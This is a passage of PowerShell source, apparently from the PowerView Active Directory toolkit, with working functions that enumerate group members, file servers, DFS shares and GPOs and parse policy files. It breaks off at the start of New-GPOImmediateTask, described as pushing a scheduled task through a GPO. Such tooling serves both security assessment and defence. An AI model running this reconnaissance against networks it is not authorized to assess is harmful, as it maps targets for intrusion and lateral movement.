5517 if (($MemberDN -match 'ForeignSecurityPrincipals') -and ($MemberDN -match 'S-1-5-21')) {
5518 try {
5519 if(-not $MemberSID) {
5520 $MemberSID = $Properties.cn[0]
5521 }
5522 $MemberSimpleName = Convert-SidToName -SID $MemberSID | Convert-ADName -InputType 'NT4' -OutputType 'Simple'
5523 if($MemberSimpleName) {
5524 $MemberDomain = $MemberSimpleName.Split('@')[1]
5525 }
5526 else {
5527 Write-Warning "Error converting $MemberDN"
5528 $MemberDomain = $Null
5529 }
5530 }
5531 catch {
5532 Write-Warning "Error converting $MemberDN"
5533 $MemberDomain = $Null
5534 }
5535 }
5536 else {
5537 # extract the FQDN from the Distinguished Name
5538 $MemberDomain = $MemberDN.subString($MemberDN.IndexOf("DC=")) -replace 'DC=','' -replace ',','.'
5539 }
5540 }
5541 catch {
5542 $MemberDN = $Null
5543 $MemberDomain = $Null
5544 }
5545
5546 if ($Properties.samaccountname) {
5547 # forest users have the samAccountName set
5548 $MemberName = $Properties.samaccountname[0]
5549 }
5550 else {
5551 # external trust users have a SID, so convert it
5552 try {
5553 $MemberName = Convert-SidToName $Properties.cn[0]
5554 }
5555 catch {
5556 # if there's a problem contacting the domain to resolve the SID
5557 $MemberName = $Properties.cn
5558 }
5559 }
5560
5561 $GroupMember | Add-Member Noteproperty 'MemberDomain' $MemberDomain
5562 $GroupMember | Add-Member Noteproperty 'MemberName' $MemberName
5563 $GroupMember | Add-Member Noteproperty 'MemberSID' $MemberSID
5564 $GroupMember | Add-Member Noteproperty 'IsGroup' $IsGroup
5565 $GroupMember | Add-Member Noteproperty 'MemberDN' $MemberDN
5566 $GroupMember.PSObject.TypeNames.Add('PowerView.GroupMember')
5567 $GroupMember
5568
5569 # if we're doing manual recursion
5570 if ($Recurse -and !$UseMatchingRule -and $IsGroup -and $MemberName) {
5571 if($FullData) {
5572 Get-NetGroupMember -FullData -Domain $MemberDomain -DomainController $TargetDomainController -Credential $Credential -GroupName $MemberName -Recurse -PageSize $PageSize
5573 }
5574 else {
5575 Get-NetGroupMember -Domain $MemberDomain -DomainController $TargetDomainController -Credential $Credential -GroupName $MemberName -Recurse -PageSize $PageSize
5576 }
5577 }
5578 }
5579 }
5580 }
5581 }
5582}
5583
5584
5585function Get-NetFileServer {
5586<#
5587 .SYNOPSIS
5588
5589 Returns a list of all file servers extracted from user
5590 homedirectory, scriptpath, and profilepath fields.
5591
5592 .PARAMETER Domain
5593
5594 The domain to query for user file servers, defaults to the current domain.
5595
5596 .PARAMETER DomainController
5597
5598 Domain controller to reflect LDAP queries through.
5599
5600 .PARAMETER TargetUsers
5601
5602 An array of users to query for file servers.
5603
5604 .PARAMETER PageSize
5605
5606 The PageSize to set for the LDAP searcher object.
5607
5608 .PARAMETER Credential
5609
5610 A [Management.Automation.PSCredential] object of alternate credentials
5611 for connection to the target domain.
5612
5613 .EXAMPLE
5614
5615 PS C:\> Get-NetFileServer
5616
5617 Returns active file servers.
5618
5619 .EXAMPLE
5620
5621 PS C:\> Get-NetFileServer -Domain testing
5622
5623 Returns active file servers for the 'testing' domain.
5624#>
5625
5626 [CmdletBinding()]
5627 param(
5628 [String]
5629 $Domain,
5630
5631 [String]
5632 $DomainController,
5633
5634 [String[]]
5635 $TargetUsers,
5636
5637 [ValidateRange(1,10000)]
5638 [Int]
5639 $PageSize = 200,
5640
5641 [Management.Automation.PSCredential]
5642 $Credential
5643 )
5644
5645 function SplitPath {
5646 # short internal helper to split UNC server paths
5647 param([String]$Path)
5648
5649 if ($Path -and ($Path.split("\\").Count -ge 3)) {
5650 $Temp = $Path.split("\\")[2]
5651 if($Temp -and ($Temp -ne '')) {
5652 $Temp
5653 }
5654 }
5655 }
5656 $filter = "(!(userAccountControl:1.2.840.113556.1.4.803:=2))(|(scriptpath=*)(homedirectory=*)(profilepath=*))"
5657 Get-NetUser -Domain $Domain -DomainController $DomainController -Credential $Credential -PageSize $PageSize -Filter $filter | Where-Object {$_} | Where-Object {
5658 # filter for any target users
5659 if($TargetUsers) {
5660 $TargetUsers -Match $_.samAccountName
5661 }
5662 else { $True }
5663 } | ForEach-Object {
5664 # split out every potential file server path
5665 if($_.homedirectory) {
5666 SplitPath($_.homedirectory)
5667 }
5668 if($_.scriptpath) {
5669 SplitPath($_.scriptpath)
5670 }
5671 if($_.profilepath) {
5672 SplitPath($_.profilepath)
5673 }
5674
5675 } | Where-Object {$_} | Sort-Object -Unique
5676}
5677
5678
5679function Get-DFSshare {
5680<#
5681 .SYNOPSIS
5682
5683 Returns a list of all fault-tolerant distributed file
5684 systems for a given domain.
5685
5686 .PARAMETER Version
5687
5688 The version of DFS to query for servers.
5689 1/v1, 2/v2, or all
5690
5691 .PARAMETER Domain
5692
5693 The domain to query for user DFS shares, defaults to the current domain.
5694
5695 .PARAMETER DomainController
5696
5697 Domain controller to reflect LDAP queries through.
5698
5699 .PARAMETER ADSpath
5700
5701 The LDAP source to search through, e.g. "LDAP://OU=secret,DC=testlab,DC=local"
5702 Useful for OU queries.
5703
5704 .PARAMETER PageSize
5705
5706 The PageSize to set for the LDAP searcher object.
5707
5708 .PARAMETER Credential
5709
5710 A [Management.Automation.PSCredential] object of alternate credentials
5711 for connection to the target domain.
5712
5713 .EXAMPLE
5714
5715 PS C:\> Get-DFSshare
5716
5717 Returns all distributed file system shares for the current domain.
5718
5719 .EXAMPLE
5720
5721 PS C:\> Get-DFSshare -Domain test
5722
5723 Returns all distributed file system shares for the 'test' domain.
5724#>
5725
5726 [CmdletBinding()]
5727 param(
5728 [String]
5729 [ValidateSet("All","V1","1","V2","2")]
5730 $Version = "All",
5731
5732 [String]
5733 $Domain,
5734
5735 [String]
5736 $DomainController,
5737
5738 [String]
5739 $ADSpath,
5740
5741 [ValidateRange(1,10000)]
5742 [Int]
5743 $PageSize = 200,
5744
5745 [Management.Automation.PSCredential]
5746 $Credential
5747 )
5748
5749 function Parse-Pkt {
5750 [CmdletBinding()]
5751 param(
5752 [byte[]]
5753 $Pkt
5754 )
5755
5756 $bin = $Pkt
5757 $blob_version = [bitconverter]::ToUInt32($bin[0..3],0)
5758 $blob_element_count = [bitconverter]::ToUInt32($bin[4..7],0)
5759 $offset = 8
5760 #https://msdn.microsoft.com/en-us/library/cc227147.aspx
5761 $object_list = @()
5762 for($i=1; $i -le $blob_element_count; $i++){
5763 $blob_name_size_start = $offset
5764 $blob_name_size_end = $offset + 1
5765 $blob_name_size = [bitconverter]::ToUInt16($bin[$blob_name_size_start..$blob_name_size_end],0)
5766
5767 $blob_name_start = $blob_name_size_end + 1
5768 $blob_name_end = $blob_name_start + $blob_name_size - 1
5769 $blob_name = [System.Text.Encoding]::Unicode.GetString($bin[$blob_name_start..$blob_name_end])
5770
5771 $blob_data_size_start = $blob_name_end + 1
5772 $blob_data_size_end = $blob_data_size_start + 3
5773 $blob_data_size = [bitconverter]::ToUInt32($bin[$blob_data_size_start..$blob_data_size_end],0)
5774
5775 $blob_data_start = $blob_data_size_end + 1
5776 $blob_data_end = $blob_data_start + $blob_data_size - 1
5777 $blob_data = $bin[$blob_data_start..$blob_data_end]
5778 switch -wildcard ($blob_name) {
5779 "\siteroot" { }
5780 "\domainroot*" {
5781 # Parse DFSNamespaceRootOrLinkBlob object. Starts with variable length DFSRootOrLinkIDBlob which we parse first...
5782 # DFSRootOrLinkIDBlob
5783 $root_or_link_guid_start = 0
5784 $root_or_link_guid_end = 15
5785 $root_or_link_guid = [byte[]]$blob_data[$root_or_link_guid_start..$root_or_link_guid_end]
5786 $guid = New-Object Guid(,$root_or_link_guid) # should match $guid_str
5787 $prefix_size_start = $root_or_link_guid_end + 1
5788 $prefix_size_end = $prefix_size_start + 1
5789 $prefix_size = [bitconverter]::ToUInt16($blob_data[$prefix_size_start..$prefix_size_end],0)
5790 $prefix_start = $prefix_size_end + 1
5791 $prefix_end = $prefix_start + $prefix_size - 1
5792 $prefix = [System.Text.Encoding]::Unicode.GetString($blob_data[$prefix_start..$prefix_end])
5793
5794 $short_prefix_size_start = $prefix_end + 1
5795 $short_prefix_size_end = $short_prefix_size_start + 1
5796 $short_prefix_size = [bitconverter]::ToUInt16($blob_data[$short_prefix_size_start..$short_prefix_size_end],0)
5797 $short_prefix_start = $short_prefix_size_end + 1
5798 $short_prefix_end = $short_prefix_start + $short_prefix_size - 1
5799 $short_prefix = [System.Text.Encoding]::Unicode.GetString($blob_data[$short_prefix_start..$short_prefix_end])
5800
5801 $type_start = $short_prefix_end + 1
5802 $type_end = $type_start + 3
5803 $type = [bitconverter]::ToUInt32($blob_data[$type_start..$type_end],0)
5804
5805 $state_start = $type_end + 1
5806 $state_end = $state_start + 3
5807 $state = [bitconverter]::ToUInt32($blob_data[$state_start..$state_end],0)
5808
5809 $comment_size_start = $state_end + 1
5810 $comment_size_end = $comment_size_start + 1
5811 $comment_size = [bitconverter]::ToUInt16($blob_data[$comment_size_start..$comment_size_end],0)
5812 $comment_start = $comment_size_end + 1
5813 $comment_end = $comment_start + $comment_size - 1
5814 if ($comment_size -gt 0) {
5815 $comment = [System.Text.Encoding]::Unicode.GetString($blob_data[$comment_start..$comment_end])
5816 }
5817 $prefix_timestamp_start = $comment_end + 1
5818 $prefix_timestamp_end = $prefix_timestamp_start + 7
5819 # https://msdn.microsoft.com/en-us/library/cc230324.aspx FILETIME
5820 $prefix_timestamp = $blob_data[$prefix_timestamp_start..$prefix_timestamp_end] #dword lowDateTime #dword highdatetime
5821 $state_timestamp_start = $prefix_timestamp_end + 1
5822 $state_timestamp_end = $state_timestamp_start + 7
5823 $state_timestamp = $blob_data[$state_timestamp_start..$state_timestamp_end]
5824 $comment_timestamp_start = $state_timestamp_end + 1
5825 $comment_timestamp_end = $comment_timestamp_start + 7
5826 $comment_timestamp = $blob_data[$comment_timestamp_start..$comment_timestamp_end]
5827 $version_start = $comment_timestamp_end + 1
5828 $version_end = $version_start + 3
5829 $version = [bitconverter]::ToUInt32($blob_data[$version_start..$version_end],0)
5830
5831 # Parse rest of DFSNamespaceRootOrLinkBlob here
5832 $dfs_targetlist_blob_size_start = $version_end + 1
5833 $dfs_targetlist_blob_size_end = $dfs_targetlist_blob_size_start + 3
5834 $dfs_targetlist_blob_size = [bitconverter]::ToUInt32($blob_data[$dfs_targetlist_blob_size_start..$dfs_targetlist_blob_size_end],0)
5835
5836 $dfs_targetlist_blob_start = $dfs_targetlist_blob_size_end + 1
5837 $dfs_targetlist_blob_end = $dfs_targetlist_blob_start + $dfs_targetlist_blob_size - 1
5838 $dfs_targetlist_blob = $blob_data[$dfs_targetlist_blob_start..$dfs_targetlist_blob_end]
5839 $reserved_blob_size_start = $dfs_targetlist_blob_end + 1
5840 $reserved_blob_size_end = $reserved_blob_size_start + 3
5841 $reserved_blob_size = [bitconverter]::ToUInt32($blob_data[$reserved_blob_size_start..$reserved_blob_size_end],0)
5842
5843 $reserved_blob_start = $reserved_blob_size_end + 1
5844 $reserved_blob_end = $reserved_blob_start + $reserved_blob_size - 1
5845 $reserved_blob = $blob_data[$reserved_blob_start..$reserved_blob_end]
5846 $referral_ttl_start = $reserved_blob_end + 1
5847 $referral_ttl_end = $referral_ttl_start + 3
5848 $referral_ttl = [bitconverter]::ToUInt32($blob_data[$referral_ttl_start..$referral_ttl_end],0)
5849
5850 #Parse DFSTargetListBlob
5851 $target_count_start = 0
5852 $target_count_end = $target_count_start + 3
5853 $target_count = [bitconverter]::ToUInt32($dfs_targetlist_blob[$target_count_start..$target_count_end],0)
5854 $t_offset = $target_count_end + 1
5855
5856 for($j=1; $j -le $target_count; $j++){
5857 $target_entry_size_start = $t_offset
5858 $target_entry_size_end = $target_entry_size_start + 3
5859 $target_entry_size = [bitconverter]::ToUInt32($dfs_targetlist_blob[$target_entry_size_start..$target_entry_size_end],0)
5860 $target_time_stamp_start = $target_entry_size_end + 1
5861 $target_time_stamp_end = $target_time_stamp_start + 7
5862 # FILETIME again or special if priority rank and priority class 0
5863 $target_time_stamp = $dfs_targetlist_blob[$target_time_stamp_start..$target_time_stamp_end]
5864 $target_state_start = $target_time_stamp_end + 1
5865 $target_state_end = $target_state_start + 3
5866 $target_state = [bitconverter]::ToUInt32($dfs_targetlist_blob[$target_state_start..$target_state_end],0)
5867
5868 $target_type_start = $target_state_end + 1
5869 $target_type_end = $target_type_start + 3
5870 $target_type = [bitconverter]::ToUInt32($dfs_targetlist_blob[$target_type_start..$target_type_end],0)
5871
5872 $server_name_size_start = $target_type_end + 1
5873 $server_name_size_end = $server_name_size_start + 1
5874 $server_name_size = [bitconverter]::ToUInt16($dfs_targetlist_blob[$server_name_size_start..$server_name_size_end],0)
5875
5876 $server_name_start = $server_name_size_end + 1
5877 $server_name_end = $server_name_start + $server_name_size - 1
5878 $server_name = [System.Text.Encoding]::Unicode.GetString($dfs_targetlist_blob[$server_name_start..$server_name_end])
5879
5880 $share_name_size_start = $server_name_end + 1
5881 $share_name_size_end = $share_name_size_start + 1
5882 $share_name_size = [bitconverter]::ToUInt16($dfs_targetlist_blob[$share_name_size_start..$share_name_size_end],0)
5883 $share_name_start = $share_name_size_end + 1
5884 $share_name_end = $share_name_start + $share_name_size - 1
5885 $share_name = [System.Text.Encoding]::Unicode.GetString($dfs_targetlist_blob[$share_name_start..$share_name_end])
5886
5887 $target_list += "\\$server_name\$share_name"
5888 $t_offset = $share_name_end + 1
5889 }
5890 }
5891 }
5892 $offset = $blob_data_end + 1
5893 $dfs_pkt_properties = @{
5894 'Name' = $blob_name
5895 'Prefix' = $prefix
5896 'TargetList' = $target_list
5897 }
5898 $object_list += New-Object -TypeName PSObject -Property $dfs_pkt_properties
5899 $prefix = $null
5900 $blob_name = $null
5901 $target_list = $null
5902 }
5903
5904 $servers = @()
5905 $object_list | ForEach-Object {
5906 if ($_.TargetList) {
5907 $_.TargetList | ForEach-Object {
5908 $servers += $_.split("\")[2]
5909 }
5910 }
5911 }
5912
5913 $servers
5914 }
5915
5916 function Get-DFSshareV1 {
5917 [CmdletBinding()]
5918 param(
5919 [String]
5920 $Domain,
5921
5922 [String]
5923 $DomainController,
5924
5925 [String]
5926 $ADSpath,
5927
5928 [ValidateRange(1,10000)]
5929 [Int]
5930 $PageSize = 200,
5931
5932 [Management.Automation.PSCredential]
5933 $Credential
5934 )
5935
5936 $DFSsearcher = Get-DomainSearcher -Domain $Domain -DomainController $DomainController -Credential $Credential -ADSpath $ADSpath -PageSize $PageSize
5937
5938 if($DFSsearcher) {
5939 $DFSshares = @()
5940 $DFSsearcher.filter = "(&(objectClass=fTDfs))"
5941
5942 try {
5943 $Results = $DFSSearcher.FindAll()
5944 $Results | Where-Object {$_} | ForEach-Object {
5945 $Properties = $_.Properties
5946 $RemoteNames = $Properties.remoteservername
5947 $Pkt = $Properties.pkt
5948
5949 $DFSshares += $RemoteNames | ForEach-Object {
5950 try {
5951 if ( $_.Contains('\') ) {
5952 New-Object -TypeName PSObject -Property @{'Name'=$Properties.name[0];'RemoteServerName'=$_.split("\")[2]}
5953 }
5954 }
5955 catch {
5956 Write-Verbose "Error in parsing DFS share : $_"
5957 }
5958 }
5959 }
5960 $Results.dispose()
5961 $DFSSearcher.dispose()
5962
5963 if($pkt -and $pkt[0]) {
5964 Parse-Pkt $pkt[0] | ForEach-Object {
5965 # If a folder doesn't have a redirection it will
5966 # have a target like
5967 # \\null\TestNameSpace\folder\.DFSFolderLink so we
5968 # do actually want to match on "null" rather than
5969 # $null
5970 if ($_ -ne "null") {
5971 New-Object -TypeName PSObject -Property @{'Name'=$Properties.name[0];'RemoteServerName'=$_}
5972 }
5973 }
5974 }
5975 }
5976 catch {
5977 Write-Warning "Get-DFSshareV1 error : $_"
5978 }
5979 $DFSshares | Sort-Object -Property "RemoteServerName"
5980 }
5981 }
5982
5983 function Get-DFSshareV2 {
5984 [CmdletBinding()]
5985 param(
5986 [String]
5987 $Domain,
5988
5989 [String]
5990 $DomainController,
5991
5992 [String]
5993 $ADSpath,
5994
5995 [ValidateRange(1,10000)]
5996 [Int]
5997 $PageSize = 200,
5998
5999 [Management.Automation.PSCredential]
6000 $Credential
6001 )
6002
6003 $DFSsearcher = Get-DomainSearcher -Domain $Domain -DomainController $DomainController -Credential $Credential -ADSpath $ADSpath -PageSize $PageSize
6004
6005 if($DFSsearcher) {
6006 $DFSshares = @()
6007 $DFSsearcher.filter = "(&(objectClass=msDFS-Linkv2))"
6008 $DFSSearcher.PropertiesToLoad.AddRange(('msdfs-linkpathv2','msDFS-TargetListv2'))
6009
6010 try {
6011 $Results = $DFSSearcher.FindAll()
6012 $Results | Where-Object {$_} | ForEach-Object {
6013 $Properties = $_.Properties
6014 $target_list = $Properties.'msdfs-targetlistv2'[0]
6015 $xml = [xml][System.Text.Encoding]::Unicode.GetString($target_list[2..($target_list.Length-1)])
6016 $DFSshares += $xml.targets.ChildNodes | ForEach-Object {
6017 try {
6018 $Target = $_.InnerText
6019 if ( $Target.Contains('\') ) {
6020 $DFSroot = $Target.split("\")[3]
6021 $ShareName = $Properties.'msdfs-linkpathv2'[0]
6022 New-Object -TypeName PSObject -Property @{'Name'="$DFSroot$ShareName";'RemoteServerName'=$Target.split("\")[2]}
6023 }
6024 }
6025 catch {
6026 Write-Verbose "Error in parsing target : $_"
6027 }
6028 }
6029 }
6030 $Results.dispose()
6031 $DFSSearcher.dispose()
6032 }
6033 catch {
6034 Write-Warning "Get-DFSshareV2 error : $_"
6035 }
6036 $DFSshares | Sort-Object -Unique -Property "RemoteServerName"
6037 }
6038 }
6039
6040 $DFSshares = @()
6041
6042 if ( ($Version -eq "all") -or ($Version.endsWith("1")) ) {
6043 $DFSshares += Get-DFSshareV1 -Domain $Domain -DomainController $DomainController -Credential $Credential -ADSpath $ADSpath -PageSize $PageSize
6044 }
6045 if ( ($Version -eq "all") -or ($Version.endsWith("2")) ) {
6046 $DFSshares += Get-DFSshareV2 -Domain $Domain -DomainController $DomainController -Credential $Credential -ADSpath $ADSpath -PageSize $PageSize
6047 }
6048
6049 $DFSshares | Sort-Object -Property ("RemoteServerName","Name") -Unique
6050}
6051
6052
6053########################################################
6054#
6055# GPO related functions.
6056#
6057########################################################
6058
6059
6060filter Get-GptTmpl {
6061<#
6062 .SYNOPSIS
6063
6064 Helper to parse a GptTmpl.inf policy file path into a custom object.
6065
6066 .PARAMETER GptTmplPath
6067
6068 The GptTmpl.inf file path name to parse.
6069
6070 .PARAMETER UsePSDrive
6071
6072 Switch. Mount the target GptTmpl folder path as a temporary PSDrive.
6073
6074 .EXAMPLE
6075
6076 PS C:\> Get-GptTmpl -GptTmplPath "\\dev.testlab.local\sysvol\dev.testlab.local\Policies\{31B2F340-016D-11D2-945F-00C04FB984F9}\MACHINE\Microsoft\Windows NT\SecEdit\GptTmpl.inf"
6077
6078 Parse the default domain policy .inf for dev.testlab.local
6079#>
6080
6081 [CmdletBinding()]
6082 Param (
6083 [Parameter(Mandatory=$True, ValueFromPipeline=$True)]
6084 [String]
6085 $GptTmplPath,
6086
6087 [Switch]
6088 $UsePSDrive
6089 )
6090
6091 if($UsePSDrive) {
6092 # if we're PSDrives, create a temporary mount point
6093 $Parts = $GptTmplPath.split('\')
6094 $FolderPath = $Parts[0..($Parts.length-2)] -join '\'
6095 $FilePath = $Parts[-1]
6096 $RandDrive = ("abcdefghijklmnopqrstuvwxyz".ToCharArray() | Get-Random -Count 7) -join ''
6097
6098 Write-Verbose "Mounting path $GptTmplPath using a temp PSDrive at $RandDrive"
6099
6100 try {
6101 $Null = New-PSDrive -Name $RandDrive -PSProvider FileSystem -Root $FolderPath -ErrorAction Stop
6102 }
6103 catch {
6104 Write-Verbose "Error mounting path $GptTmplPath : $_"
6105 return $Null
6106 }
6107
6108 # so we can cd/dir the new drive
6109 $TargetGptTmplPath = $RandDrive + ":\" + $FilePath
6110 }
6111 else {
6112 $TargetGptTmplPath = $GptTmplPath
6113 }
6114
6115 Write-Verbose "GptTmplPath: $GptTmplPath"
6116
6117 try {
6118 Write-Verbose "Parsing $TargetGptTmplPath"
6119 $TargetGptTmplPath | Get-IniContent -ErrorAction SilentlyContinue
6120 }
6121 catch {
6122 Write-Verbose "Error parsing $TargetGptTmplPath : $_"
6123 }
6124
6125 if($UsePSDrive -and $RandDrive) {
6126 Write-Verbose "Removing temp PSDrive $RandDrive"
6127 Get-PSDrive -Name $RandDrive -ErrorAction SilentlyContinue | Remove-PSDrive -Force
6128 }
6129}
6130
6131
6132filter Get-GroupsXML {
6133<#
6134 .SYNOPSIS
6135
6136 Helper to parse a groups.xml file path into a custom object.
6137
6138 .PARAMETER GroupsXMLpath
6139
6140 The groups.xml file path name to parse.
6141
6142 .PARAMETER UsePSDrive
6143
6144 Switch. Mount the target groups.xml folder path as a temporary PSDrive.
6145#>
6146
6147 [CmdletBinding()]
6148 Param (
6149 [Parameter(Mandatory=$True, ValueFromPipeline=$True)]
6150 [String]
6151 $GroupsXMLPath,
6152
6153 [Switch]
6154 $UsePSDrive
6155 )
6156
6157 if($UsePSDrive) {
6158 # if we're PSDrives, create a temporary mount point
6159 $Parts = $GroupsXMLPath.split('\')
6160 $FolderPath = $Parts[0..($Parts.length-2)] -join '\'
6161 $FilePath = $Parts[-1]
6162 $RandDrive = ("abcdefghijklmnopqrstuvwxyz".ToCharArray() | Get-Random -Count 7) -join ''
6163
6164 Write-Verbose "Mounting path $GroupsXMLPath using a temp PSDrive at $RandDrive"
6165
6166 try {
6167 $Null = New-PSDrive -Name $RandDrive -PSProvider FileSystem -Root $FolderPath -ErrorAction Stop
6168 }
6169 catch {
6170 Write-Verbose "Error mounting path $GroupsXMLPath : $_"
6171 return $Null
6172 }
6173
6174 # so we can cd/dir the new drive
6175 $TargetGroupsXMLPath = $RandDrive + ":\" + $FilePath
6176 }
6177 else {
6178 $TargetGroupsXMLPath = $GroupsXMLPath
6179 }
6180
6181 try {
6182 [XML]$GroupsXMLcontent = Get-Content $TargetGroupsXMLPath -ErrorAction Stop
6183
6184 # process all group properties in the XML
6185 $GroupsXMLcontent | Select-Xml "/Groups/Group" | Select-Object -ExpandProperty node | ForEach-Object {
6186
6187 $Groupname = $_.Properties.groupName
6188
6189 # extract the localgroup sid for memberof
6190 $GroupSID = $_.Properties.groupSid
6191 if(-not $GroupSID) {
6192 if($Groupname -match 'Administrators') {
6193 $GroupSID = 'S-1-5-32-544'
6194 }
6195 elseif($Groupname -match 'Remote Desktop') {
6196 $GroupSID = 'S-1-5-32-555'
6197 }
6198 elseif($Groupname -match 'Guests') {
6199 $GroupSID = 'S-1-5-32-546'
6200 }
6201 else {
6202 $GroupSID = Convert-NameToSid -ObjectName $Groupname | Select-Object -ExpandProperty SID
6203 }
6204 }
6205
6206 # extract out members added to this group
6207 $Members = $_.Properties.members | Select-Object -ExpandProperty Member | Where-Object { $_.action -match 'ADD' } | ForEach-Object {
6208 if($_.sid) { $_.sid }
6209 else { $_.name }
6210 }
6211
6212 if ($Members) {
6213
6214 # extract out any/all filters...I hate you GPP
6215 if($_.filters) {
6216 $Filters = $_.filters.GetEnumerator() | ForEach-Object {
6217 New-Object -TypeName PSObject -Property @{'Type' = $_.LocalName;'Value' = $_.name}
6218 }
6219 }
6220 else {
6221 $Filters = $Null
6222 }
6223
6224 if($Members -isnot [System.Array]) { $Members = @($Members) }
6225
6226 $GPOGroup = New-Object PSObject
6227 $GPOGroup | Add-Member Noteproperty 'GPOPath' $TargetGroupsXMLPath
6228 $GPOGroup | Add-Member Noteproperty 'Filters' $Filters
6229 $GPOGroup | Add-Member Noteproperty 'GroupName' $GroupName
6230 $GPOGroup | Add-Member Noteproperty 'GroupSID' $GroupSID
6231 $GPOGroup | Add-Member Noteproperty 'GroupMemberOf' $Null
6232 $GPOGroup | Add-Member Noteproperty 'GroupMembers' $Members
6233 $GPOGroup
6234 }
6235 }
6236 }
6237 catch {
6238 Write-Verbose "Error parsing $TargetGroupsXMLPath : $_"
6239 }
6240
6241 if($UsePSDrive -and $RandDrive) {
6242 Write-Verbose "Removing temp PSDrive $RandDrive"
6243 Get-PSDrive -Name $RandDrive -ErrorAction SilentlyContinue | Remove-PSDrive -Force
6244 }
6245}
6246
6247
6248function Get-NetGPO {
6249<#
6250 .SYNOPSIS
6251
6252 Gets a list of all current GPOs in a domain.
6253
6254 .PARAMETER GPOname
6255
6256 The GPO name to query for, wildcards accepted.
6257
6258 .PARAMETER DisplayName
6259
6260 The GPO display name to query for, wildcards accepted.
6261
6262 .PARAMETER ComputerName
6263
6264 Return all GPO objects applied to a given computer (FQDN).
6265
6266 .PARAMETER Domain
6267
6268 The domain to query for GPOs, defaults to the current domain.
6269
6270 .PARAMETER DomainController
6271
6272 Domain controller to reflect LDAP queries through.
6273
6274 .PARAMETER ADSpath
6275
6276 The LDAP source to search through
6277 e.g. "LDAP://cn={8FF59D28-15D7-422A-BCB7-2AE45724125A},cn=policies,cn=system,DC=dev,DC=testlab,DC=local"
6278
6279 .PARAMETER PageSize
6280
6281 The PageSize to set for the LDAP searcher object.
6282
6283 .PARAMETER Credential
6284
6285 A [Management.Automation.PSCredential] object of alternate credentials
6286 for connection to the target domain.
6287
6288 .EXAMPLE
6289
6290 PS C:\> Get-NetGPO -Domain testlab.local
6291
6292 Returns the GPOs in the 'testlab.local' domain.
6293#>
6294 [CmdletBinding()]
6295 Param (
6296 [Parameter(ValueFromPipeline=$True)]
6297 [String]
6298 $GPOname = '*',
6299
6300 [String]
6301 $DisplayName,
6302
6303 [String]
6304 $ComputerName,
6305
6306 [String]
6307 $Domain,
6308
6309 [String]
6310 $DomainController,
6311
6312 [String]
6313 $ADSpath,
6314
6315 [ValidateRange(1,10000)]
6316 [Int]
6317 $PageSize = 200,
6318
6319 [Management.Automation.PSCredential]
6320 $Credential
6321 )
6322
6323 begin {
6324 $GPOSearcher = Get-DomainSearcher -Domain $Domain -DomainController $DomainController -Credential $Credential -ADSpath $ADSpath -PageSize $PageSize
6325 }
6326
6327 process {
6328 if ($GPOSearcher) {
6329
6330 if($ComputerName) {
6331 $GPONames = @()
6332 $Computers = Get-NetComputer -ComputerName $ComputerName -Domain $Domain -DomainController $DomainController -FullData -PageSize $PageSize
6333
6334 if(!$Computers) {
6335 throw "Computer $ComputerName in domain '$Domain' not found! Try a fully qualified host name"
6336 }
6337
6338 # get the given computer's OU
6339 $ComputerOUs = @()
6340 ForEach($Computer in $Computers) {
6341 # extract all OUs a computer is a part of
6342 $DN = $Computer.distinguishedname
6343
6344 $ComputerOUs += $DN.split(",") | ForEach-Object {
6345 if($_.startswith("OU=")) {
6346 $DN.substring($DN.indexof($_))
6347 }
6348 }
6349 }
6350
6351 Write-Verbose "ComputerOUs: $ComputerOUs"
6352
6353 # find all the GPOs linked to the computer's OU
6354 ForEach($ComputerOU in $ComputerOUs) {
6355 $GPONames += Get-NetOU -Domain $Domain -DomainController $DomainController -ADSpath $ComputerOU -FullData -PageSize $PageSize | ForEach-Object {
6356 # get any GPO links
6357 write-verbose "blah: $($_.name)"
6358 $_.gplink.split("][") | ForEach-Object {
6359 if ($_.startswith("LDAP")) {
6360 $_.split(";")[0]
6361 }
6362 }
6363 }
6364 }
6365
6366 Write-Verbose "GPONames: $GPONames"
6367
6368 # find any GPOs linked to the site for the given computer
6369 $ComputerSite = (Get-SiteName -ComputerName $ComputerName).SiteName
6370 if($ComputerSite -and ($ComputerSite -notlike 'Error*')) {
6371 $GPONames += Get-NetSite -SiteName $ComputerSite -FullData | ForEach-Object {
6372 if($_.gplink) {
6373 $_.gplink.split("][") | ForEach-Object {
6374 if ($_.startswith("LDAP")) {
6375 $_.split(";")[0]
6376 }
6377 }
6378 }
6379 }
6380 }
6381
6382 $GPONames | Where-Object{$_ -and ($_ -ne '')} | ForEach-Object {
6383
6384 # use the gplink as an ADS path to enumerate all GPOs for the computer
6385 $GPOSearcher = Get-DomainSearcher -Domain $Domain -DomainController $DomainController -Credential $Credential -ADSpath $_ -PageSize $PageSize
6386 $GPOSearcher.filter="(&(objectCategory=groupPolicyContainer)(name=$GPOname))"
6387
6388 try {
6389 $Results = $GPOSearcher.FindAll()
6390 $Results | Where-Object {$_} | ForEach-Object {
6391 $Out = Convert-LDAPProperty -Properties $_.Properties
6392 $Out | Add-Member Noteproperty 'ComputerName' $ComputerName
6393 $Out
6394 }
6395 $Results.dispose()
6396 $GPOSearcher.dispose()
6397 }
6398 catch {
6399 Write-Warning $_
6400 }
6401 }
6402 }
6403
6404 else {
6405 if($DisplayName) {
6406 $GPOSearcher.filter="(&(objectCategory=groupPolicyContainer)(displayname=$DisplayName))"
6407 }
6408 else {
6409 $GPOSearcher.filter="(&(objectCategory=groupPolicyContainer)(name=$GPOname))"
6410 }
6411
6412 try {
6413 $Results = $GPOSearcher.FindAll()
6414 $Results | Where-Object {$_} | ForEach-Object {
6415 if($ADSPath -and ($ADSpath -Match '^GC://')) {
6416 $Properties = Convert-LDAPProperty -Properties $_.Properties
6417 try {
6418 $GPODN = $Properties.distinguishedname
6419 $GPODomain = $GPODN.subString($GPODN.IndexOf("DC=")) -replace 'DC=','' -replace ',','.'
6420 $gpcfilesyspath = "\\$GPODomain\SysVol\$GPODomain\Policies\$($Properties.cn)"
6421 $Properties | Add-Member Noteproperty 'gpcfilesyspath' $gpcfilesyspath
6422 $Properties
6423 }
6424 catch {
6425 $Properties
6426 }
6427 }
6428 else {
6429 # convert/process the LDAP fields for each result
6430 Convert-LDAPProperty -Properties $_.Properties
6431 }
6432 }
6433 $Results.dispose()
6434 $GPOSearcher.dispose()
6435 }
6436 catch {
6437 Write-Warning $_
6438 }
6439 }
6440 }
6441 }
6442}
6443
6444
6445function New-GPOImmediateTask {
6446<#
6447 .SYNOPSIS
6448
6449 Builds an 'Immediate' schtask to push out through a specified GPO.
6450
6451 .PARAMETER TaskName
6452
